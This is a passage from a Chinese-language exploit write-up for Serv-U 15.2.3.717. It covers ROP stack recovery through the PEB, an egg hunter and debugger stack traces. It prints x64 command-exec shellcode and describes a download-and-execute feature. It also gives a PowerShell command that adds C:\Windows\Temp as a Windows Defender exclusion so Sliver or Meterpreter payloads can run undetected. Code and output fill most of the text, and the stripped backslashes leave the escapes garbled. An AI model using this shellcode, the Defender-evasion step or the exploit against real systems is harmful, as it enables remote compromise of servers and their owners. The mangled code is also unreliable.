"x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3c"
"xffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41"
"xffxe7x58"

我的漏洞利用只是在运行时在命令行中指定的 IP:port 中打补丁。这使得用户/攻击者可以轻松地在运行时使用任意 shellcode stagers / Sliver 实例 / Metasploit 实例,而不必每次都生成新的 shellcode。

我对命令 exec shellcode 使用了相同的技巧,它只是将用户指定的命令附加到 shellcode 的末尾:

代码语言:javascript复制
shellcode = (
     b"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
     b"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
     b"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
     b"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
     b"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
     b"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
     b"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
     b"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
     b"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
     b"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
     b"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
     b"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
     b"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
     b"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
     b"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
     b"x87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxff"
     b"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
     b"x47x13x72x6fx6ax00x59x41x89xdaxffxd5"
)

rop[offs_NOP_sled offs_NOP_sled_padding 267:] = shellcode   cmd.encode()   b"x00"

同样,这节省了用户每次生成新的 shellcode。最后,我实现了一个下载 执行功能,它接受用户指定的 URL,从 URL 下载可执行文件到C:WindowsTemp,然后运行它。我添加的一个小问题是禁用 Windows Defender 病毒/恶意软件扫描运行的 PowerShell 命令,C:WindowsTemp因此您可以运行完全未混淆的Sliver /Meterpreter 有效负载,而不会被 Microsoft 端点安全性绊倒。

执行此操作的 PowerShell 命令是:

代码语言:javascript复制
powershell -Command "& {Add-MpPreference -ExclusionPath c:windowstemp}"

如果没有该命令,您将在几乎所有您想丢弃的有效负载上发现 Windows Defender 警报。注意:我不建议红队参与,因为你仍然会被无数其他控件抓住。但对于简单的用例,弹出一个连接回壳或Sliver会话就足够了。

我几乎忘记了对堆栈进行反透视

有时有必要将堆栈指针返回到它的来源,以便被利用的进程可以恢复执行并整齐地处理任何错误/异常。该漏洞利用使 Serv-U 崩溃,但它会自动重新启动。这在很多情况下是不可接受的,让它不崩溃留给读者作为练习。

然而,使堆栈恢复正常是一个有趣的问题,因为在 ROP 中,我们通常不会在转到另一个堆栈之前保存堆栈指针 - 恶意 ROP 堆栈。取回它通常涉及通过gs: 64 位 Intel/AMD Windows 上的段寄存器查询线程环境块(“TEB”)和进程环境块(“PEB”)。这些块由操作系统维护,并为有关运行线程的元数据提供线程本地存储。

TEB 以gs:[0]指向 PEB at 的指针开头gs:[0x30]。PEB 包含在 offset 处的堆栈起始地址0x10。下面的代码可以用来读取它:

代码语言:javascript复制
# recover the original stack
mov rax, 0x30
mov rax, qword gs:[rax]     # Read address of PEB out of TEB
add rax, 0x10               # Offset in PEB to pre-exploit stack frame address
mov rax, qword ptr [rax]    # Dereference [rax] to read the stack frame address out of the PEB
mov rdi, rax                # Store address of old stack frame in rdi

为了返回rsp它在漏洞利用最开始时包含的相同地址 - 在call r9第一次发生时 - 我需要找到旧堆栈帧顶部的精确地址。事实证明这很容易,因为堆栈帧包含返回地址Serv-U.dll,正如我们之前看到的那样,它不支持 ASLR。

结果,我可以简单地查看在调用点获取的堆栈跟踪call r9并记下那里的地址。例如,考虑从刚刚描述的场景中获取的堆栈跟踪:

代码语言:javascript复制
>0:013> k
 # Child-SP          RetAddr               Call Site
00 0000009d`d2aff320 00000000`72111cb8     LIBEAY32!CRYPTO_ctr128_encrypt 0xc6
01 0000009d`d2aff380 00000000`7218f41b     LIBEAY32!EVP_rc4_40 0x488
02 0000009d`d2aff3d0 00000000`7210efaa     LIBEAY32!FINGERPRINT_premain 0x291b
03 0000009d`d2aff410 00000001`8016086c     LIBEAY32!EVP_EncryptUpdate 0xda
04 0000009d`d2aff460 00000001`80141795     Serv_U!CUPnPNotifyEvent::SetTimeout 0x22b7c
05 0000009d`d2aff4a0 00000001`80141263     Serv_U!CUPnPNotifyEvent::SetTimeout 0x3aa5
06 0000009d`d2aff4e0 00000001`80144fb0     Serv_U!CUPnPNotifyEvent::SetTimeout 0x3573
07 0000009d`d2aff580 00000200`577f8dd7     Serv_U!CUPnPNotifyEvent::SetTimeout 0x72c0
08 0000009d`d2aff650 00000200`577f8c5c     RhinoNET!CRhinoSocket::ProcessReceiveBuffer 0x33
09 0000009d`d2aff690 00000200`577f6c4e     RhinoNET!CRhinoSocket::OnReceive 0x170
0a 0000009d`d2aff6e0 00000200`577f32eb     RhinoNET!CRhinoProductSocket::OnReceive 0x3e
0b 0000009d`d2aff710 00000200`577f356b     RhinoNET!CAsyncSocketX::DoCallBack 0x107
0c 0000009d`d2aff740 00000200`577f350f     RhinoNET!CAsyncSocketX::ProcessAuxQueue 0x53
0d 0000009d`d2aff770 00007fff`5ffda399     RhinoNET!CSocketWndX::OnSocketNotify 0x13
0e 0000009d`d2aff7a0 00007fff`5ffd97af     mfc140u!CWnd::OnWndMsg 0xba9 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 2698] 
0f 0000009d`d2aff920 00007fff`5ffd7093     mfc140u!CWnd::WindowProc 0x3f [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 2099] 
10 0000009d`d2aff960 00007fff`5ffd7464     mfc140u!AfxCallWndProc 0x123 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 265]
11 0000009d`d2affa50 00007fff`5fe7a509     mfc140u!AfxWndProc 0x54 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCwincore.cpp @ 417]
12 0000009d`d2affa90 00007fff`90c60089     mfc140u!AfxWndProcBase 0x49 [D:a01_work6ssrcvctoolsVC7LibsShipATLMFCSrcMFCafxstate.cpp @ 299]
13 0000009d`d2affad0 00007fff`90c5fa02     USER32!UserCallWinProcCheckWow 0x319
14 0000009d`d2affc60 00000001`8016ea75     USER32!DispatchMessageWorker 0x1d2
15 0000009d`d2affce0 00000001`8016eaed     Serv_U!CUPnPNotifyEvent::SetTimeout 0x30d85
16 0000009d`d2affd50 00007fff`8ee36b4c     Serv_U!CUPnPNotifyEvent::SetTimeout 0x30dfd
17 0000009d`d2affd80 00007fff`90954ed0     ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1> 0x4c
18 0000009d`d2affdb0 00007fff`9124e20b     KERNEL32!BaseThreadInitThunk 0x10
19 0000009d`d2affde0 00000000`00000000     ntdll!RtlUserThreadStart 0x2b

第一个 Serv-U 堆栈帧位于索引 #4 并包含保存的指令返回地址:

代码语言:javascript复制
Serv_U!CUPnPNotifyEvent::SetTimeout   0x22b7c:

04 0000009d`d2aff460 00000001`80141795 Serv_U!CUPnPNotifyEvent::SetTimeout 0x22b7c

返回地址是0x180141795并且将永远是由于没有 ASLR。因此,为了找到原始堆栈,我只是从我从 PEB 中拉出的地址开始寻找0x80141795(相当于 5 字节地址的 4 字节 DWORD )。0x0180141795我构建了以下寻蛋器:

代码语言:javascript复制
# Egg hunter for the value 0x80141795 starting at the PEB's stack address.
# No egg-not-found error handling because if this code is running then the 
# stack frame we're looking for is guaranteed to exist.
mov eax, 0x80141795           # saved RIP we want to find
mov rcx, 0x4000               # how much memory will we search
cld                           # clear DF, direction flag
repne scasd eax, dword [rdi]  # find the saved stack ptr starting @ [rdi]
mov rax, rdi                  # save the found stack address in rax    
mov rdx, 0x140                # the top of the original stack frame is...
sub rax, rdx                  # ...0x140 bytes upwards
mov rsp, rax                  # pivot to the new (old!) stack

您会注意到在将 0x140rax写入rsp. 这是为了说明我们的鸡蛋——保存的返回地址——不在堆栈帧列表的顶部。事实上,它是索引#4,我需要rsp指向帧索引#0:

代码语言:javascript复制
# Child-SP           RetAddr               Call Site
00 0000009d`d2aff320 00000000`72111cb8     LIBEAY32!CRYPTO_ctr128_encrypt 0xc6
...
04 0000009d`d2aff460 00000001`80141795     Serv_U!CUPnPNotifyEvent::SetTimeout 0x22b7c

#4 和 #0 之间的堆栈偏移量是我在设置堆栈指针之前0x9dd2aff460 - 0x9dd2aff320 = 0x140减去该数量, .raxrsp

Radare2 的一大优点是它能够将代码转换为 shellcode 的操作码。于是上面的代码就变成了:

代码语言:javascript复制
 % cat /tmp/s.asm
mov eax, 0x80141795
mov rcx, 0x4000
cld
repne scasd eax, dword [rdi]
mov rax, rdi
mov rdx, 0x140
sub rax, rdx
mov rsp, rax
% cat /tmp/s.asm | rasm2 -a x86 -b 64 -
b89517148048c7c100400000fcf2af4889f848c7c2400100004829d04889c4

简单而优雅。

最后,在将执行控制权返回给旧堆栈之前,我可以将大多数寄存器返回到它们的利用前值;这样做留给读者作为练习。

总之

这是一个有趣的利用,我幸运了几次!在 Serv-U dll 上禁用 ASLR 的事实非常幸运,并且省去了很多麻烦。 

其他缓解措施,例如控制流保护(“CFG”),也被禁用。这再次使编写漏洞利用变得容易,而无需解决对关键功能的受限访问,例如GetProcAddress().

值得指出的是,我用来计算 ROP 堆栈地址的方法有时会生成一个不是 64 位对齐的地址。结果,当GetProcAddress()到达 MOVAPS 指令(需要对齐内存地址)时,漏洞利用程序崩溃。为了使漏洞利用更加可靠,解决方案是强制ROP堆栈位于对齐的地址;这将需要一些争论,并留给读者作为练习。 

还应该指出的是,该漏洞当前是针对 Serv-U 15.2.3.717 进行硬编码的。要针对其他 Serv-U 版本进行构建,需要做一些工作来重新计算 Serv-U.dll 中的 ROP 小工具地址。希望我们能在其他版本的 Serv-U 中找到相同的小工具,但我还没有看过。

0 人点赞